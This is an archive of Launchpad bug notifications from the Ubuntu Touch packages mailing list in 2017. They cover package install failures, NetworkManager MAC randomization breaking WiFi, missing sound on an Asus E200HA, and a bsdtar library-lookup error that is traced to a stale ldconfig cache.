1:0.9.13.1+17.04.20170109-0ubuntu1 version.libdrm2: libdrm2 2.4.76-1 version.libgl1-mesa-dri: libgl1-mesa-dri 17.0.3-1ubuntu1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 17.0.3-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.3-1ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.9.0-0ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20170309-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.14-0ubuntu1 xserver.bootTime: Mon May 22 19:57:24 2017 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.3-1ubuntu1 xserver.video_driver: modeset ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: apport-bug compiz-0.9 i386 ubuntu zesty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1692748 Title: el equipo no puede actulizarce Status in xorg package in Ubuntu: New Bug description: El equipo no puede actualizar ya que hubo un error , el sistema me dice que active el gestor de paquetes pero tampoco puedo activarlo ya que el sistema no me lo permite por favor necesito ayuda, saludos. ProblemType: Bug DistroRelease: Ubuntu 17.04 Package: xorg 1:7.7+16ubuntu3 ProcVersionSignature: Ubuntu 4.10.0-20.22-generic 4.10.8 Uname: Linux 4.10.0-20-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.4-0ubuntu4 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Mon May 22 21:07:51 2017 DistUpgraded: 2017-04-24 08:27:07,949 DEBUG icon theme changed, re-reading DistroCodename: zesty DistroVariant: ubuntu GraphicsCard: Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display [8086:0f31] (rev 0e) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] Atom Processor Z36xxx/Z37xxx Series Graphics & Display [1025:0936] InstallationDate: Installed on 2017-04-03 (50 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release i386 (20161012.2) MachineType: Acer Aspire ES1-512 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.10.0-20-generic root=UUID=e483ca57-0769-4213-9cb0-a725150eac9b ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: Upgraded to zesty on 2017-04-24 (28 days ago) dmi.bios.date: 08/11/2014 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.06 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Aspire ES1-512 dmi.board.vendor: Acer dmi.board.version: V1.06
[Touch-packages] [Bug 1692361] [NEW] package language-pack-en-base 1:16.04+20160627 failed to install/upgrade: package language-pack-en-base is not ready for configuration cannot configure (current st
Public bug reported: al iniciar ubuntu ProblemType: Package DistroRelease: Ubuntu 16.04 Package: language-pack-en-base 1:16.04+20160627 ProcVersionSignature: Ubuntu 4.4.0-79.100-generic 4.4.67 Uname: Linux 4.4.0-79-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 Date: Sun May 21 00:02:11 2017 DuplicateSignature: package:language-pack-en-base:1:16.04+20160627 Processing triggers for dbus (1.10.6-1ubuntu3.3) ... dpkg: error processing package language-pack-en-base (--configure): package language-pack-en-base is not ready for configuration ErrorMessage: package language-pack-en-base is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2016-04-23 (393 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.2 apt 1.2.20 SourcePackage: language-pack-en-base Title: package language-pack-en-base 1:16.04+20160627 failed to install/upgrade: package language-pack-en-base is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: language-pack-en-base (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package need-duplicate-check xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to language-pack-en-base in Ubuntu. https://bugs.launchpad.net/bugs/1692361 Title: package language-pack-en-base 1:16.04+20160627 failed to install/upgrade: package language-pack-en-base is not ready for configuration cannot configure (current status 'half-installed') Status in language-pack-en-base package in Ubuntu: New Bug description: al iniciar ubuntu ProblemType: Package DistroRelease: Ubuntu 16.04 Package: language-pack-en-base 1:16.04+20160627 ProcVersionSignature: Ubuntu 4.4.0-79.100-generic 4.4.67 Uname: Linux 4.4.0-79-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 Date: Sun May 21 00:02:11 2017 DuplicateSignature: package:language-pack-en-base:1:16.04+20160627 Processing triggers for dbus (1.10.6-1ubuntu3.3) ... dpkg: error processing package language-pack-en-base (--configure): package language-pack-en-base is not ready for configuration ErrorMessage: package language-pack-en-base is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2016-04-23 (393 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.2 apt 1.2.20 SourcePackage: language-pack-en-base Title: package language-pack-en-base 1:16.04+20160627 failed to install/upgrade: package language-pack-en-base is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/language-pack-en-base/+bug/1692361/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1681513] Re: Ubuntu 17.04: New privacy feature in NetworkManager stops some WiFi adapters from working (mac address randomization)
Also affected by this bug on Ububtu 17.04. Using my computer as a wifi hotspot I couldn't connect from other devices and the log presented a lot of "inux wpa_supplicant[1385]: handle_probe_req: send failed " messages. The solution presented by Jesse (juderichbourne) on post #1 solved the issue. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1681513 Title: Ubuntu 17.04: New privacy feature in NetworkManager stops some WiFi adapters from working (mac address randomization) Status in network-manager package in Ubuntu: Confirmed Bug description: According to https://blogs.gnome.org/thaller/2016/08/26/mac-address-spoofing-in-networkmanager-1-4-0/ there is a new privacy feature in the new version of NetworkManager. This privacy feature can cause some USB WiFi adapters to stop working while they used to work with older versions of NetworkManager (Ubuntu 16.10 or older). The purpose of this privacy feature is to get your computer to report a new random MAC address whenever you connect to a WiFi network. This privacy feature is especially useful when you connect to public WiFi networks, so that the operators cannot identify you when you connect multiple times. The downside of this privacy feature is that some USB WiFi adapters misbehave when NetworkManager tries to change their MAC address repeatedly. The result is that those USB WiFi adapters cannot connect anymore to the WiFi network. Original report follows: My Panda USB wi-fi adapter works just fine on 16.10, but when I try to connect to my wi-fi router in 17.04, GNOME network manager reports "Connection failed." I did some tinkering, and noticed that my MAC address for my wifi adapter, according to GNOME, is DIFFERENT every time I make it forget my wifi settings and try to reconnect. Weird, right? Any leads on a possible fix or work-around? I'm running the latest beta of Ubuntu GNOME 17.04, kernel 4.10.0-19-generic, GNOME 3.24.0. https://blogs.gnome.org/thaller/2016/08/26/mac-address-spoofing-in- networkmanager-1-4-0/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1681513/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1682850] [NEW] package whoopsie 0.2.54 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting a removal
Public bug reported: The upgrade to Ubuntu 17 was running but my dog stepped on the power chord and shut down the computer while installing the updates. After that I got this errors. jruizmeillon@JRuizMeillon:~$ lsb_release -rd Description:Ubuntu 17.04 Release:17.04 ProblemType: Package DistroRelease: Ubuntu 17.04 Package: whoopsie 0.2.54 ProcVersionSignature: Ubuntu 4.8.0-48.51-generic 4.8.17 Uname: Linux 4.8.0-48-generic i686 ApportVersion: 2.20.3-0ubuntu8.2 AptOrdering: whoopsie:i386: Remove NULL: ConfigurePending Architecture: i386 Date: Fri Apr 14 10:46:04 2017 DpkgTerminalLog: dpkg: error processing package whoopsie (--remove): package is in a very bad inconsistent state; you should reinstall it before attempting a removal ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting a removal InstallationDate: Installed on 2017-03-31 (14 days ago) InstallationMedia: Lubuntu 16.10 "Yakkety Yak" - Release i386 (20161012.1) RelatedPackageVersions: apport-noui N/A SourcePackage: whoopsie Title: package whoopsie 0.2.54 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting a removal UpgradeStatus: Upgraded to zesty on 2017-04-14 (0 days ago) ** Affects: whoopsie (Ubuntu) Importance: Undecided Status: New ** Tags: apport-package autoreport-false i386 zesty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to whoopsie in Ubuntu. https://bugs.launchpad.net/bugs/1682850 Title: package whoopsie 0.2.54 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting a removal Status in whoopsie package in Ubuntu: New Bug description: The upgrade to Ubuntu 17 was running but my dog stepped on the power chord and shut down the computer while installing the updates. After that I got this errors. jruizmeillon@JRuizMeillon:~$ lsb_release -rd Description: Ubuntu 17.04 Release: 17.04 ProblemType: Package DistroRelease: Ubuntu 17.04 Package: whoopsie 0.2.54 ProcVersionSignature: Ubuntu 4.8.0-48.51-generic 4.8.17 Uname: Linux 4.8.0-48-generic i686 ApportVersion: 2.20.3-0ubuntu8.2 AptOrdering: whoopsie:i386: Remove NULL: ConfigurePending Architecture: i386 Date: Fri Apr 14 10:46:04 2017 DpkgTerminalLog: dpkg: error processing package whoopsie (--remove): package is in a very bad inconsistent state; you should reinstall it before attempting a removal ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting a removal InstallationDate: Installed on 2017-03-31 (14 days ago) InstallationMedia: Lubuntu 16.10 "Yakkety Yak" - Release i386 (20161012.1) RelatedPackageVersions: apport-noui N/A SourcePackage: whoopsie Title: package whoopsie 0.2.54 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting a removal UpgradeStatus: Upgraded to zesty on 2017-04-14 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1682850/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
4.8.0-22 not 4.8.22 Sorry -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
konstantinos: in official updates the keyboard stop working after 4.8.22 kernel. It is the latest which works fine in Ubuntu. With kernels 4.9 or newer I know it works in Fedora. You can choose the kernel in grub menu. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
konstantinos: in official updates the keyboard stop working after 4.8.22 kernel. It is the latest which works fine in Ubuntu. With kernels 4.9 or newer I know it works in Fedora. You can choose the kernel in grub menu. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1676337] Re: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety
conjure-up snap version was breaking bsdtar! $ sudo ldconfig -p |grep libarchive libarchive.so.13 (libc6,x86-64) => /snap/conjure-up/140/usr/lib/x86_64-linux-gnu/libarchive.so.13 libarchive.so.13 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libarchive.so.13 $ sudo snap remove conjure-up conjure-up removed $ sudo ldconfig -p |grep libarchive libarchive.so.13 (libc6,x86-64) => /snap/conjure-up/140/usr/lib/x86_64-linux-gnu/libarchive.so.13 libarchive.so.13 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libarchive.so.13 $ ls /snap/conjure-up/140/usr/lib/x86_64-linux-gnu/libarchive.so.13 ls: cannot access '/snap/conjure-up/140/usr/lib/x86_64-linux-gnu/libarchive.so.13': No such file or directory $ bsdtar bsdtar: Must specify one of -c, -r, -t, -u, -x $ sudo ldconfig -f /etc/ld.so.conf $ sudo ldconfig -p |grep libarchive libarchive.so.13 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libarchive.so.13 ** Changed in: libarchive (Ubuntu) Status: New => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libarchive in Ubuntu. https://bugs.launchpad.net/bugs/1676337 Title: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety Status in libarchive package in Ubuntu: Invalid Bug description: bsdtar fails on yakkety. It was discovered while using vagrant, which could not unpack images due to this issues. The workaround was to use tar instead (by changing bsdtar into a link to tar), but bsdtar is still broken. $ bsdtar bsdtar: symbol lookup error: bsdtar: undefined symbol: archive_read_add_passphrase $ lsb_release -rd Description: Ubuntu 16.10 Release: 16.10 $ apt-cache policy libarchive-tools libarchive-tools: Installed: 3.2.1-2ubuntu0.1 Candidate: 3.2.1-2ubuntu0.1 Version table: *** 3.2.1-2ubuntu0.1 500 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages 100 /var/lib/dpkg/status 3.2.1-2 500 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libarchive/+bug/1676337/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1676337] Re: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety
So the missing symbol is there, the problem is that it was not finding it for my native yakkety environment: $ nm -D /usr/bin/bsdtar | grep archive_read_add_passphrase U archive_read_add_passphrase $ nm -D /usr/lib/x86_64-linux-gnu/libarchive.so.13 |grep archive_read_add_passphrase 000203d0 T archive_read_add_passphrase $ echo $LD_LIBRARY_PATH $ export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/ $ bsdtar bsdtar: Must specify one of -c, -r, -t, -u, -x This might be just a config issue. Checking now why it does not find it for me by default. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libarchive in Ubuntu. https://bugs.launchpad.net/bugs/1676337 Title: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety Status in libarchive package in Ubuntu: New Bug description: bsdtar fails on yakkety. It was discovered while using vagrant, which could not unpack images due to this issues. The workaround was to use tar instead (by changing bsdtar into a link to tar), but bsdtar is still broken. $ bsdtar bsdtar: symbol lookup error: bsdtar: undefined symbol: archive_read_add_passphrase $ lsb_release -rd Description: Ubuntu 16.10 Release: 16.10 $ apt-cache policy libarchive-tools libarchive-tools: Installed: 3.2.1-2ubuntu0.1 Candidate: 3.2.1-2ubuntu0.1 Version table: *** 3.2.1-2ubuntu0.1 500 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages 100 /var/lib/dpkg/status 3.2.1-2 500 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libarchive/+bug/1676337/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1676337] Re: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety
Something is strange here. It seems to work on a LXD container: $ lxc start y $ lxc exec y bash root@y:~# bsdtar The program 'bsdtar' is currently not installed. You can install it by typing: apt install bsdtar root@y:~# apt install bsdtar Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: libarchive-tools libarchive13 Suggested packages: lrzip The following NEW packages will be installed: bsdtar libarchive-tools libarchive13 ... root@y:~# bsdtar bsdtar: Must specify one of -c, -r, -t, -u, -x -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libarchive in Ubuntu. https://bugs.launchpad.net/bugs/1676337 Title: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety Status in libarchive package in Ubuntu: New Bug description: bsdtar fails on yakkety. It was discovered while using vagrant, which could not unpack images due to this issues. The workaround was to use tar instead (by changing bsdtar into a link to tar), but bsdtar is still broken. $ bsdtar bsdtar: symbol lookup error: bsdtar: undefined symbol: archive_read_add_passphrase $ lsb_release -rd Description: Ubuntu 16.10 Release: 16.10 $ apt-cache policy libarchive-tools libarchive-tools: Installed: 3.2.1-2ubuntu0.1 Candidate: 3.2.1-2ubuntu0.1 Version table: *** 3.2.1-2ubuntu0.1 500 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages 100 /var/lib/dpkg/status 3.2.1-2 500 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libarchive/+bug/1676337/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1676337] [NEW] bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety
Public bug reported: bsdtar fails on yakkety. It was discovered while using vagrant, which could not unpack images due to this issues. The workaround was to use tar instead (by changing bsdtar into a link to tar), but bsdtar is still broken. $ bsdtar bsdtar: symbol lookup error: bsdtar: undefined symbol: archive_read_add_passphrase $ lsb_release -rd Description:Ubuntu 16.10 Release:16.10 $ apt-cache policy libarchive-tools libarchive-tools: Installed: 3.2.1-2ubuntu0.1 Candidate: 3.2.1-2ubuntu0.1 Version table: *** 3.2.1-2ubuntu0.1 500 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages 100 /var/lib/dpkg/status 3.2.1-2 500 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 ** Affects: libarchive (Ubuntu) Importance: Undecided Status: New ** Description changed: - $ bsdtar + bsdtar fails on yakkety. It was discovered while using vagrant, which + could not unpack images due to this issues. The workaround was to use + tar instead (by changing bsdtar into a link to tar), but bsdtar is still + broken. + + + $ bsdtar bsdtar: symbol lookup error: bsdtar: undefined symbol: archive_read_add_passphrase $ lsb_release -rd Description: Ubuntu 16.10 Release: 16.10 $ apt-cache policy libarchive-tools libarchive-tools: - Installed: 3.2.1-2ubuntu0.1 - Candidate: 3.2.1-2ubuntu0.1 - Version table: - *** 3.2.1-2ubuntu0.1 500 - 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages - 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages - 100 /var/lib/dpkg/status - 3.2.1-2 500 - 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 Packages + Installed: 3.2.1-2ubuntu0.1 + Candidate: 3.2.1-2ubuntu0.1 + Version table: + *** 3.2.1-2ubuntu0.1 500 + 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages + 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages + 100 /var/lib/dpkg/status + 3.2.1-2 500 + 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libarchive 